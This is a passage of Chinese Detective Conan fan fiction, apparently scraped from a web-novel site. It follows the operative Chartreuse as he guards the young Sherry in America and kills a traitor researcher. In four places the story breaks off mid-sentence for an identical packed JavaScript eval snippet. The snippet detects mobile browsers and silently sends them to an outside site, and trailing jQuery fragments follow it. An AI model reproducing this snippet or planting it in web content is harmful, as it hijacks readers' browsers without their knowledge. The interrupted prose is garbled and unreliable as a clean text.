幼驯染间专属的昵称唤出于口,称呼背后浓缩的美好回忆就像一桶夏日的冰水,让诸伏景光沉郁的心情都清爽几分。 “zero。”漂亮的湛蓝色猫眼弯了弯,蕴着浅浅的笑意。 两人最后都没有去喝一杯,而是方向盘一转驶向降谷零的安全屋。 “你最近的状态实在算不上好——不要反驳,你最近的反应速度慢了点。是夏特勒兹给你额外布置的任务太多了吗?” 监视期过后,表面上大部分任务都是三瓶威士忌搭档执行,只有一些任务实在缺人或者其他任务需要,他们才会偶尔被各自的上司喊过去帮忙。 ……只不过琴酒对于莱伊在任务期间抢人头咬牙切齿,波本逐渐向贝尔摩德的神秘主义靠拢,导致急性子的朗姆下达任务愈发简要急促。 苏格兰? 谁不知道苏格兰除了任务大部分时间都泡在训练场啊。 据说是因为夏特勒兹大人对苏格兰的某个任务不太满意,就把人扔基地里加训了—— 这么恐怖?我可是打听过了,那位夏特勒兹大人在国外的名号和实力不亚于琴酒呢。 “啊……其实还好。” 降谷零显然不信:“你到底是怎么想的啊……据我所打听,夏特勒兹可是个不折不扣的工作狂魔,掌控欲也很强——你知道上个月我被朗姆调派到美国吧?那里的组织成员都很敬畏夏特勒兹,秩序——是的,秩序,那里的组织成员都被管理得井井有条,甚至当年震惊FBI和CIA的血洗案就是他和琴酒共同完成的。” “可夏特勒兹是个盲哑人。” 降谷零冷漠:“可就算再怎么离谱,也不可能整个基地都相信吧?” 诸伏景光:“……” 好吧,被盲哑人血虐的诸伏景光确实没资格说这话。 “我确实没什么大事,”他有些头疼地说,“夏特勒兹其实一直很注重我的劳逸结合,任务并没有给我安排多少——真的,一个月顶天也就两个。” 降谷零看着幼驯染的状态,还是狐疑。 “……我最近只是在上课。” 上课?自从警校毕业后就再也没有接触过这个字眼的警校首席皱眉。 “你应该也知道我被夏特勒兹扔进基地加训的事迹?说加训也行,不过是夏特勒兹亲自教导。”他揉了揉眉心,“……他确实很擅长近身战斗。”而且教的很认真。 ……而且也不是没有收获。 诸伏景光将在基地里听到的对话和自己的分析告诉降谷零,与对方在国外收集的情报一一对应。 “……不行,割裂感太严重了。”降谷零把自己淡金的发丝揉乱,眉头就没舒展过。 他试探的所有人都认为夏特勒兹很可怕,敬畏于他的丰功伟绩,但在hiro看来对方不过是一个“嘴”有点毒但脾气算得上不错的家伙。唯一确定的点则是夏特勒兹的武力值确实很高(毕竟hiro亲自认证),但没见过现场降谷零真的很难想象一个盲哑人如何在格斗上薄纱他的幼驯染。 他总觉得他应该是缺少了一些能够将因果串联起来的关键情报,直到hiro补充—— 训练营。 夏特勒兹能与琴酒“平起平坐”的原因是他们同样毕业于训练营。 “……这就很耐人寻味了。”降谷零蹙着眉头,伸手揉了揉太阳穴。 训练营,顾名思义就是培训的地方。 培训谁?想要培训出什么?一个和琴酒、夏特勒兹一样让人棘手的全能型(夏特勒兹:?)杀手吗? ……它还在运行吗? “组织里很少人讨论这个东西,突然提起会起疑心,但应该多少能打听出一点信息——总之我会引导话题试试看。”最后,他还是答应下调查的事。 毕竟这可是个重要情报啊。 “辛苦你了,zero——晚饭想要吃什么?今晚我下厨。”zero的人设比他更适合探查情报,于是诸伏景光很干脆地将这件事交给了幼驯染。 “咖喱饭吧。”降谷零可没被绕过去,瞬间转回最开始的话题。“不过hiro,你真的没事吗?一定要注意休息——” “要试试吗?波本。”诸伏景光露出绿川辉的疏离笑容,“我打赌现在的你一定打不过我。”而且习惯熬夜的家伙没资格说我。 * 【……所以波本和苏格兰打起来了?】 接手情报组的账单报销后诸伏清浅真的被情报人员的消费流水吓了一跳。 虽然他对薪水小偷的行为持以精神上的支持,并希望他们能够再折腾得狠一点;但身为那位先生的心腹,一心忠于组织并希望组织变得更好的夏特勒兹不会允许过度消费的情况出现(那种语气)。 贝尔摩德甚至因此打过电话来抱怨,但最后还是被堵了回去。 经济命脉被拿捏,情报组的家伙们当然不爽,在朗姆的默认下纷纷开始给诸伏清浅添堵。包括但不限于在报销账单上做文章,给夏特勒兹名下掌管的公司添堵,骚扰他的情报网以至于情报网差点出了大纰漏。 在诸伏清浅咬牙切齿地找朗姆麻烦时,波本医疗用品的报销账单在一堆找茬文件中简直就是一股清流。 绷带和一些医疗用品,再加上今早他在基地里听来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889387|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的八卦—— 波本和苏格兰发生冲突,相约基地训练场,最后有人看到苏格兰神清气爽地离开,和波本不嘻嘻的表情形成鲜明对比。 收到线人八卦消息后的诸伏清浅战术后仰:你们幼驯染—— 你们幼驯染是这样相处的吗?怎么看这种相处风格更适合爆处组的那对幼驯染吧? 【打架的原因知道吗。】 没过一会儿线人传来回复:波本当众嘲笑了您……然后苏格兰……额,有些生气。 诸伏清浅:“……” 这是什么新型卧底交流方式吗?他还真没想到吃瓜还能吃到自己身上。 * 第二天训练的时候,夏特勒兹轻巧地避开苏格兰的拳风,后撤半步伸出手臂格挡,挡下了对方的踢击。 他借机拉进两人的距离,一拳轰出将对方打退数步。 “[判断好战局走向,该卸力就卸力,只有保存好体力才能保持接下来的精准打击。]” “[人的体力就像一杯水,你喝得急了水当然很快就没有了。想要延长这杯水存活的时间,要么你就收敛一点小口啜饮,要么你就——]”夏特勒兹比划了一个倒水的动作。 “……要么我就把别人杯子里的水倒进我的杯子里。”诸伏景光舔了舔干涩的嘴唇,接过对方递过来的矿泉水。 “[对,借力打力。]”夏特勒兹习惯性地检查一遍矿泉水是否拆封,确认无误后拧开。“[并不是所有事情都必须亲力亲为,比如打斗时借力打力,又比如算计一个人时借刀杀人。]” 诸伏景光微不可察的呼吸一顿。 “[听说你和波本打起来了?]” “啊……您听说了啊。” “[并没有责怪你的意思,只是——]”夏特勒兹顿了顿,“[朗姆一直对我空降情报组的事情颇有微词,我们算是…对立关系? 不对,准确来说应该是利益竞争对手,我们之间互相使绊子是常有的事。]” “我明白了……那我和波本?” “[你爱咋样就咋样,反正捅了篓子我都能给你兜着——只要不违反组织原则。 当然,我私心更希望你能狠狠坑他们一把,那老东西年纪大了心眼反而更小了,什么都要争一争。]” 那位先生并不介意组织成员间的竞争,甚至对此乐见其成——前提是没有损害到组织的利益。 十二年前的羽田浩司案朗姆捅了个大篓子,他不得不夹起尾巴安静下来。 但那个时候先生已经察觉到训练营里拥有超强记忆力的平替诸伏清浅,因此有着身体缺陷的清浅在那位先生的示意下直接划分进情报组,想以此警告朗姆。 但朗姆的急性子让他又走错一步棋,两年前他又在贝尔摩德手下极力保下了一位实/验/体——插手科研组的事,稍微属于是在那位先生的敏感线上反复试探了。 叮—— 诸伏清浅回神,解锁手机检查邮件。 【前往美国,保护Sherry。 ——BOSS】 诸伏清浅:? 诸伏清浅:?! 卧槽?! 只见一直情绪稳定的夏特勒兹“看”完手机后深吸一口气:“[抱歉,我来任务了——接下来一段时间我会把你的借调权限借给琴酒,你暂且先和其他两瓶威士忌一起活动吧。]” 24.雪莉 科研组是组织核心中的核心,与行动组、情报组并不互通,甚至管控严格。 比如进实验基地必须搜身。 诸伏清浅不情不愿,在守卫震惊的目光中从身上去下两把手木仓、三把匕首、数枚刀片以及两瓶毒药和迷药。 “还有吗?” 诸伏清浅摇摇头。 交武器以表忠诚,但对他这种警惕心强的人来说不带点什么防身总觉得哪哪都不得劲——所以其实还有,但他赌对方查不出来。 ……但导盲杖和嘴替手机能不能带进去还是要争论一下的。 诸伏清浅对科研组算得上熟悉(某种意义上),为了激发孩童的潜能与战斗力,训练营的小孩都打过不少针剂。 淘汰下来的孩子则会被实验室“回收”,或者成为某个任务的炮灰。 为了让孩子们歇了从训练营逃跑的心思,他们的教官甚至让他们亲眼看过淘汰者的下场以示警告,那天的哀嚎声至今仍让清浅记忆犹新,也是他内心世界构建的基础素材之一。 “组织已经丧心病狂到让残疾人来工作了吗。” 清幼的声音打断清浅有些低沉的思绪,他微微侧头,听出未来灰原哀的熟悉声线。 “[你好,我是夏特勒兹。]” 宫野志保的神色微微一僵,双眼不由自主地微微瞪大。 夏特勒兹? 那个与琴酒齐名的夏特勒兹?! “[根据先生的指令,我来负责您的保护工作,]”诸伏清浅伸出手,“[那么接下来一段时间请多指教。]” 宫野志保抿抿唇,抬手与诸伏清浅的手轻轻碰了碰。 “……请多指教。” * 宫野志保是疯狂科学家宫野厚司与其妻子宫野艾莲娜所生的次女。与她的姐姐宫野明美相比,她完美地继承了宫野夫妇的研究天赋,在组织的资助下飞快地跳级学习相关知识。 跳级啊……这可是真正的天才。 “[麻烦你了,井上。]”诸伏清浅带着十三岁的小女孩离开那个冷冰冰的实验基地(不得不说里面冷气开得好足),坐上一辆低调的黑色轿车。 “您客气了。”井上一郎依旧沉默寡言,见后座两人坐好后稳稳启动车子。 再好看的风景看这么多年都会腻。宫野志保将视线从车窗外流动的景色上收回,利用余光轻轻瞥向坐在一旁安静小憩的夏特勒兹……他应该在小憩?眼睛蒙住了看不出来。 在美国常驻的代号成员中,贝尔摩德与夏特勒兹简直就是开启话题的最佳引子。前者因为其莎朗·温亚德的大明星身份,后者则是因其当年在美国的壮举——当事人与组织top killer杀穿血洗敌人老巢的事迹在组织成员的圈子里几乎无人不知无人不晓。 宫野志保以前见过琴酒,对方一身冷气的样子将年幼的她吓得不轻,完全可以说是童年阴影——以至于她下意识将尚未见面的夏特勒兹划进与琴酒同一个分类里。 ——直到姐姐谈了个男朋友。 托那个混蛋莱伊的福,每次宫野姐妹定期联络时她多少总能了解到一些组织成员间的八卦。 ‘大君的上司是琴酒啦,听说他们出任务时总是有些摩擦——和大君一起获得代号的还有两个人,一个是划分到朗姆手下的波本安室透,一个是划分到夏特勒兹手下的苏格兰仕绿川辉。’ ‘嗯……波本的话我还没见过,但听说他是个很厉害的情报人员,没有他挖不出来的情报;但是我和苏格兰见过——或许是因为他和大君一样是狙击手吧,他和大君的关系不错。’ ‘不得不说苏格兰不愧是夏特勒兹的下属,都是一贯相承的好脾气呢——虽然性子冷淡了点,但意外的好说话。’ 好说话?一个杀人如麻的家伙好说话? 姐姐不会是被那个混蛋骗了吧? 电话另一边,知晓夏特勒兹累累罪行的宫野志保欲言又止,但为了姐姐的安全她还是将自己所知的信息告诉姐姐,让姐姐和那些家伙保持距离。 一开始她见到实验室里来了个瞎子还以为那是从哪里找来的实验体,但仔细想想也没有哪个实验体能这么牛逼地站在那儿不被安保人员带走。 但电子音一响她还是惊了。 代号成员夏特勒兹是个盲哑人,这条情报的可信度一直都是fifty fifty:信的人讳莫如深,不信的人倍感荒谬。 夏特勒兹的战绩可查,结果你跟我说这等大魔头是位盲哑人?!……之类的,割裂感太重,信不了一点。 因此,夏特勒兹的名字报出来的第一时间,她还以为这是什么新型诈骗,仔细一想又觉得应该没有人敢骗那位先生,在确认身份后她就恍恍惚惚地被对方带离基地。 从回忆里脱离出来,宫野志保收回落在夏特勒兹身上的视线。 “所以,我们要去哪里?”这可不是回公寓的路。 那股被注视的毛骨悚然之感散去后诸伏清浅才缓慢吐出口气,慢慢打字:“[fusae品牌似乎推出了新品,我想麻烦你帮我参考一下。]” ? 诶? 话题跳得太快,宫野志保不由得瞪圆眼睛,呆呆地扭头看着诸伏清浅。 * 真是奇怪的家伙。 在芙莎绘的专卖店里,夏特勒兹只是让她去挑几个自己喜欢的,她逛了数圈终于决定要拿下哪个款式,然后就看见对方点点头,和店员报出几个芙莎绘系列的款式包包后顺带一起买单。 宫野志保站在他身旁看他用电子音与店员交流,不过一会儿,盲眼的青年一手拄着导盲杖,一手牵着茶发的女孩走出繁忙的商业街,在夕阳的漫天余晖下朝着公寓所在的地方慢慢踱步回去。 负责开车的井上一郎已经离开,宫野志保并不了解夏特勒兹,对他今天的一系列行为并不发表意见,顺着他的意慢慢走在路上。 ……不得不说,有时候什么也不想,放松身心散散步的感觉还不错。 “[最近你有什么出门的安排吗?]” “下个星期哥伦比亚大学,我和一位教授预约了时间讨论。” “[还有吗?]” “我还需要去一趟图书馆。” “[行,那你有需要就叫我。]” “放心,我还不至于虐待特殊人群。” 夏特勒兹像是哽了一下,有些郁闷地将手机揣回兜里,默默地加快了些步伐。 “……呐,为什么要带我去芙莎绘?” 宫野志保突然仰起头看向青年,或许是青年身上那平静的气息让她的神经没那么紧绷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893877|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她直接开口问道:“你先前明明说着让我帮忙参考一下,但其实你连要买哪个款式都有打算了吧。” 临时扯出来的借口实在站不住脚,看上去并不愿在这个方面多谈的夏特勒兹慢吞吞地掏出手机。 “[……第一次见面总得送些见面礼吧。]” ……什么? 青年牵着她的手,抬头目“视”前方:“[我不太会和小孩子打交道……关于你的情报很难打听,我也只能查到你喜欢这个。]” 呵,调查……这是讨好吗? “[你可以当做是讨好或者…奉承?我的社交一向很烂。]”似是猜到对方的心理活动,夏特勒兹很坦然地指出自己的目的。“[我们应该会相处一段不短的时间,打好关系总不会错。]” “……是吗。” * 夏特勒兹给自己的定位是“父母有事外出于是来接收妹妹的临时监护人哥哥”,平时负责接送宫野志保或者给她带饭……别问她为什么盲哑人会做饭,她也不知道,可能是天赋异禀吧(那种语气)。 自己有姐姐的宫野志保其实并不想要这个设定,但夏特勒兹的情况说他是保镖谁也不会信的吧……更何况这家伙做饭确实还不赖。 咳,对比美国的油炸食物以及腻死人的甜品来说。 诸伏清浅:虽然有一个妹妹很让人心动……但这个机会还是留给宫野家名誉长子吧。 比起其他保镖,夏特勒兹给予她的自由空间明显多得多,从来不会过问她的行踪……当然,或许是因为“哥哥”的身份,又或许说是因为自己的行踪一直在对方的掌控之中。 比如在实验基地里,夏特勒兹不会过多打扰她的行动,大部分时间都是在基地里的休息室里一坐就是几个小时——也不知道他是怎么坚持下来的。 “[你下班了?]” 另外,他的脑回路也很奇怪。 宫野志保的白大褂早已脱下,站在休息室门口可有可无地应了声。“这是什么奇怪的比喻。” 夏特勒兹非常自然的牵起她的手带她离开基地:“[有吗?我倒不觉得奇怪。]” “[你不觉得我们都是组织的员工吗?你看,在实验室工作=上班,离开实验室=下班,熬夜跑数据=加班——下次跑数据让其他人帮忙盯着吧,组织留着他们可不是让他们来吃干饭的,小孩子少熬夜——你声音里的疲惫感藏都藏不住。]” 宫野志保被这个转换法逗笑:“那组织一定是个违法公司。” “[这个还轮不到我们来说,毕竟我们只是个打工人。]” 打工人……如果真的只是一个普通的打工人就好了。 宫野志保突然感觉特别疲惫:“那么你是有什么工作要做吗——BOSS给你下达了任务?” 她身边的保镖一般都是一些比较边缘的代号成员或者颇有实力的中层人员。 核心代号成员来当保镖……除了需要她与BOSS汇报或者转移实验地址,她还真没见过其他情况。 天才的脑子转得就是快。 诸伏清浅心里叹了口气,猛搓一把小孩茶色的头发。 “[是有任务,但进展不是我能控制的,姑且还有一大段时间给我摸鱼用。不用操心我——吃冰淇淋吗?我好像听到有小摊贩在卖。]” 25.鸽子 组织就是一个巨大的公司,在世界各地都有它投资开展的企业(控制的富商)和分公司(基地)。加入公司有两种方式:内部招聘和公共招聘——前者通过完整的岗前培训(训练营)与审核(代号考核)后成为高层之一;后者通过员工推荐(组织成员拉人入伙)与背调后进入公司,运气好的能够通过升职考核(代号考核)成为高层之一。 只是公司的机密(犯罪证据)众多,总有敌对机构(各国官方)派遣间谍(卧底)前来蛰伏,偶尔也会有员工(组织成员)私吞或倒卖公司资金资产(叛徒)。 公司高级员工夏特勒兹匿名表示,公司能者多劳多钱(007且任务众多,这钱是我应得的),同事关系和睦(因为不和睦的都下黑手弄死了),这里有1v多人,心跳,猜忌,监视,试探,隐瞒……欢迎来到—— 咳。 诸伏清浅来这里负责雪莉的任务其实是顺带的,他真正收到的命令是调查出实验基地里的叛徒——前两年不是科研组资料失窃流出频繁嘛,为此诸伏清浅和琴酒的灭口任务只增不减。 在清浅获得老乌鸦的允许后调查,顺藤摸瓜就摸到一系列资料泄露事件都与远在大洋彼岸、雪莉所在的实验基地有关。 ……美国的资料和日本的泄露有什么关系?诸伏清浅大受震撼,但还是老老实实地设套布陷阱,等那只不老实的老鼠一无所知地踏进去(琴酒语气)。 而在收网前,他就有大把的时间去摸鱼…呸,做自己的事。 比如说把组织中最难涉足的科研组里的资料都拷一遍。 原著里雪莉的监管者似乎是琴酒,但如今却很难讲了。训练营的岗前培训从七岁开始,虽然里面的孩子从小就被灌输忠于组织忠于boss的思想,但小孩子三观的最好塑造期是3-7岁——比起七岁被吸纳进训练营的琴酒,四岁失去记忆被组织重新灌输理念教导长大的夏特勒兹更让人放心。 更何况夏特勒兹是个盲哑人,不会看见不该看的东西,也不会说什么不该说的话,他的反审讯成绩也……总而言之,夏特勒兹是一个很能保守秘密的存在。 对此诸伏清浅只是微微一笑:要的就是你们的信任。 人们更偏向相信自己的判断,反倒是给了他可乘之机——你说是吧,系统。 请发挥作为一个外挂的本领(侧身让位)。 ——以上,就是夏特勒兹总在休息室一坐就是好几小时的真相。 * “没想到你还会做饭。” 清晨,宫野志保从卧室里走出来,浓郁的牛奶香气与鸡蛋香气混在一起钻入鼻尖,将她的睡意驱散不少。 她快速洗漱完,坐在餐桌前看着夏特勒兹在厨房一阵捣鼓,最终将一份煎鸡蛋三明治与一杯牛奶放在她面前。 “[人们总会无形中否定一些东西,否定着否定着就会信以为真,最终将会化为限制自己的枷锁——比如瞎子到底能不能做饭。尝尝?味道应该还行。]” “你的意思是跳蚤效应?”宫野小小地尝了一口,味道确实还不错。 “[自我设限总是一件悲哀的事情,赌一把,或许我们就会迎来光明的未来。]” 光明的未来? “你这是从哪里翻到的心灵鸡汤,待在这个糟糕的组织里怎么可能会拥有那种东西。” 夏特勒兹没再接话,于是双方在安静的氛围里结束了这顿简单的早餐。 “[这个想法何尝又不是一种自我设限呢。]” 什……? 电子音的声音快速又细小,如流星一样划过又瞬间消散,宫野志保差点抓不住其中的内容。她微微瞪大双眼,猛地扭过头去,不敢确认自己刚刚是否听清。 “[你和那位大学教授约了几点?需要现在出发吗?]”电子音又恢复了正常音量,但话题早换了一个,更衬得刚才的发言恍若幻觉。 “……现在过去吧。” 哥伦比亚大学不愧是八大常春藤盟校之一,那占地面积真是让人叹为观止。隔行如隔山,婉拒了一同前去交流的询问,夏特勒兹表示他就在大草坪那儿坐着等,谈完就邮件联系他过来接送。 只是一个德高望重的教授,一个天才少女,天才之间的默契让他们相谈甚欢,不知不觉就超出了预定时间。比起教授的依依不舍,宫野则是带着隐隐的惊慌告辞,连忙给夏特勒兹发邮件。 糟糕,超出时间了……不过也有正当理由,夏特勒兹应该不会……欸? 【我这边结束了。 ——from Sherry】 【啊……那太好了,请过来救救我,我在大草坪上。 ——from Chartreuse】 ……救?谁救谁? * 莉娜是哥伦比亚大学里一位平平无奇的学生,这天她刚熬夜跑完数据,正拖着疲惫的步伐准备回宿舍补觉。当她走着走着,就察觉有不少人都把目光投往大草坪的方向。 莉娜:? 这大草坪有啥好看的? “啊,莉娜——你搞定了?”附近她的舍友正好发现了她,朝她兴奋地挥挥手。“快来快来,那只是不是你的鸽子?” 啥啊她鸽子这个点也不会回来啊…… 莉娜确实养了只鸽子,但却是散养,她家鸽子也只会在饭点以及晚上睡觉时准时回来,其余时间都在外面当街溜子,怎么也找不到鸽影……嗯? 顺着舍友的目光看去,她总算知道大家在看什么了。 为什么有人身上会长鸽子啊! [瞳孔地震.jpg] “难以置信……”莉娜回过神来,“我们需要去帮帮他吗?” ……不过看起来不用了。 她远远的看见一个茶色头发的小女孩走过去,帮那位受害者驱赶走身上的鸽子,看着那位眼睛上蒙着黑布的青年坐起身。 瞎子? 那个熟稔的相处…是认识的人啊。姐妹吗? “好吧好吧,好戏看完了,咱们回宿舍吧?你不是刚跑完数据吗。”舍友推着莉娜往前走,“‘增强端粒酶活性从而增强细胞增殖能力’什么的,不愧是布朗教授带出来的学生,连课题都这么高大上。” “没有啦…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906354|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不过我可不管这些,你现在需要的是一场充足的睡眠——你的黑眼圈快要掉到地上了都。” * “你是怎么做到被鸽子埋住的?”赶走鸽子的宫野志保大受震撼。 “[一些……我也不理解的原因?我不知道。]”夏特勒兹在宫野志保的指挥下拍掉身上的羽毛,“[总算得救了,帮大忙了。]” 明明自己动一动鸽子就会飞走吧,为什么还要等人来救。他是笨蛋吗? 宫野志保无语凝噎,突然感觉组织内盛传的杀神夏特勒兹也就那样。 “[你是不是还要去图书馆?]” 宫野回过神来:“对。” “[那就走吧。]”夏特勒兹伸手牵住宫野志保。 “……为什么一定要牵手?我又不是小孩子了。” “[可我看不见你,牵着你我就知道你在我身边了,这样我更能及时保护你。]” 纽约公共图书馆,里面会有盲文书吗?坐在图书馆大门阶梯的一侧,诸伏清浅有一下没一下地用导盲杖在地上敲出一段节奏,忽地觉得脑袋一重。 ……该死,又来了。 快速伸手将脑袋上的鸽子抓住放到一旁,为了防止邪恶鸽子召唤同伴,诸伏清浅果断抄起导盲杖钻入图书馆。 在门口等?等不了一点。 * 虽然系统地图能够让诸伏清浅了解周围的地形,但很显然,在相同是一排排书架间地图不会标注书籍分区。 害,看人物定位吧……欸? 一绿一黑? 黑色是尚且在黑方阵营的雪莉,那这个绿色是……卧槽?他不应该在麻省那边吗?! “还差一点……”书架前一个小男孩拼命踮脚伸手,但还是难以够到书架上方的书。 诸伏清浅顺着定位找过来听到的就是这个情景。 世界真小啊…… 诸伏清浅暗叹一声,上前握住男孩的手腕,顺着他的指尖摸索到一本书。 “[是这一本吗?]” 无论是突然被握住手腕还是突然响起的电子音都把对方吓得炸毛。但在确认青年并无恶意后,男孩悄悄松了口气。 “那个,谢谢……诶?” “[你是日裔?看来我的运气不错。]” “大哥哥也是……?” “[我的话是应亲戚的请求来照顾在这里生活的表妹一段时间,过段时间就回日本……认识一下?我是浅井尘。来自日本的‘老乡’。]” “……我叫泽田弘树。” “[那么,很高兴认识你,泽田君。]” 这个时候辛多拉对弘树的控制欲已经初见端倪,诸伏清浅没有多谈,在弘树的保镖过来前和他告了别,作势离开图书馆—— 然后脑袋一重。 诸伏清浅:……excuse me?! “……为什么你又被鸽子埋了。”宫野志保的表情一言难尽。 “[……我也不知道,请救救我。]” 情报组叱咤风云的夏特勒兹大人向你发出求助。 26.风暴前夕 今天……可能发生了一些不好的事。 这种不好的预感在夏特勒兹今早拜托井上一郎而非他亲自来接送她就隐隐有所预兆。 平静许久的湖面终于要被一颗细小的石子打破,泛出阵阵涟漪。 快步走在实验基地苍白的走廊上,路过的所有实验人员都面色发白,窃窃私语的声音在见到宫野志保的一瞬间消失不见。 面对比他们年级小上许多的科研组长,他们就如同被掐住脖子的鸡,什么声音也发不出。 “出什么事了?”她保持着冷淡的语气。平静的态度让被她逮住问话的小助理镇定些许,但脸上还是止不住的慌乱。 “河原组长…夏特勒兹杀了河原组长!” 河原……河原健三。 河原健三是一位曾在SCI上发表过文章的生物学教授,但数年前他突然公开宣布要进行一项秘密研究,从此音讯全无。 实际上他是被组织半邀请半胁迫地打包进实验室进行研究,在认清自己的处境与家人的安危后所谓的反抗也就不了了之。 他的研究方向与宫野志保的并不相同,但总归是同一个课题,两人时常交流发现与进展。又因二者都是被胁迫状态下进行研究,无法与妻女相见的河原健三不免倾注些长辈的关怀给年幼的雪莉——河原教授确实是宫野志保信任且亲近的长辈。 原来…是这样吗。 这就是你的任务对吗,夏特勒兹。 海面的冰层终于裂开,露出平静之下的汹涌波涛。 宫野志保…宫野志保沉默许久,久到小助理忍不住想要出声问问她的状态是否良好,年纪仅够上国中的少女才轻吐一口气。 “我知道了。” “所有人,该做什么就做什么,现在开始基地内禁止再议论这件事,都有眼力见一点。” 宫野志保朝小助理点点头,将组织纪律控场的任务交给她:“我去看看情况。” 啊…啊?小助理来不及说什么,茶发的女孩已经快步走向那间所有人避之不及的实验室。 组织对科研人员很是看中,但也没那么看重,这件事宫野志保是知道的。 ……对一个国中年纪的小孩子来说,死亡或许过于遥远;但对组织的雪莉来说,实验中她手下沾染的生命可不止一条。 但她一时间竟然分不清被药物反应折磨致死和被审讯凌虐致死哪一个更残忍一点。 她打开那间实验室,只见夏特勒兹手持一柄短刀站在一旁,河原的身体倒在他脚下。 河原健三的身体已经被血染透,数不清外翻的伤口与其中的隐隐白骨已经彰显了什么——那是审讯的痕迹。 夏特勒兹错身向前一步,挡住了她看向尸体的视线。 “……为什么杀他。”她应该对此做出什么反应?生气?崩溃?指责?还是保持缄默? “[……]”夏特勒兹没有在第一时间回话。 身为审讯者,夏特勒兹身上的气息竟罕见地没有被血腥侵染,依旧是如亚寒带针叶林带给人的感觉一样,冷,清,静,幽。 宫野志保突然明白了某些东西。 夏特勒兹从未把人命放在心上,斩杀性命与他而言不过如吃饭喝水般寻常…且理所当然。 他不清楚生命的沉重,他只是一把刀,为那位先生斩杀敌人与异己的刀。 这把刀虽然不够完好,但胜在足够锋利。 那一刻,某种割裂的东西被填补,组织内网上两极分化的情报最终糅合成盲眼青年的样子。 她突然感觉到一股巨大的荒谬感在心里蒸腾。 “[背叛组织者,杀无赦——我想你应该清楚这个道理。]” “可河原先生怎么可能背叛组…!”她的情绪如摇晃过的啤酒喷涌而出,但也仅仅而已,泡沫破裂后只剩下苦涩的液体。 电子音打断了她的情绪:“[研究人员不可轻易离开实验基地,除非像你一样身边有负责监视的组织成员。河原健三研究上的表现只能说是中规中矩,他能外出的机会并不大——他也没什么特别的理由能够亲自出去。]” “[他出不去,就只能让人进来。基地里拥有一定出入权限的只有奉命行事的组织成员,负责巡逻的安保人员,以及——]” “……负责餐饮和清洁的工作人员。” “[那些工作人员虽然签了保密协议,但对于这里的情况并不了解,收买一个工作人员并不……]”夏特勒兹动作一顿,从对方的语气解读出了什么,手指一拐弯删掉刚才准备打的话。“[你知道他的小动作,却没上报。]” 宫野志保嘲讽地咧咧嘴:“对,然后呢?知情不报也是背叛——你也要杀了我吗?” 夏特勒兹歪歪头,没有第一时间回答,似是在思考解决方案。 “[……我收到的任务里没有这个。]” ……什么。 “[我的工作是查清资料泄露的原因并解决。确认泄漏源,解决泄漏源,我的工作就结束了。]”至于其他的,与他何干? 问题解决了就行,赶尽杀绝这种事情他才懒得做,他又不是琴酒。 宫野志保怔了怔,显然没料到这个答案。 * 只是尽管和宫野志保相处的这段时间再怎么愉快,陷阱被触动的警报还是将诸伏清浅从安逸的幻境里踹回残酷的现实——在他确认叛徒是谁时尤为甚,就连前阵子因为资料泄露而忙生忙死、加班加到不知天地为何物的怨念也被堵在心里憋不出来。 将宫野志保拜托给井上一郎后,他本想早点去基地把人解决早点处理现场,试图以此逃避一些矛盾冲突……但很显然,因为一些不可抗力因素,他失败了,还被小孩儿赶上他宰完人没多久。 面对女孩愤怒的质问,诸伏清浅头一次想要扔掉所谓的包袱大喊一声“要不我们叛逃吧”然后带着女孩去找她姐,然后把两位打包扔给她们的名誉长兄降谷零。 杀手什么的他不干啦! “[工作而已,你不喜欢,我也不喜欢。]”他顾忌手上的血腥,没敢再搓女孩的脑壳,转而蹲下身子与女孩“对视”。 “[在这个糟糕的地方大家都有或多或少身不由己的理由,作为组织的夏特勒兹不能违反先生下达的任务,但作为我自己的私心—— 我不会请求你原谅杀害你亲近之人的我,相反,我想请求你带着这份愤怒坚持下去,直到黎明升起,白鸽得以自由飞翔的时候。]” ……私心?坚持? 宫野志保觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916590|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她应该还没睡醒,不然为什么她处理不了语句中蕴藏的信息呢。 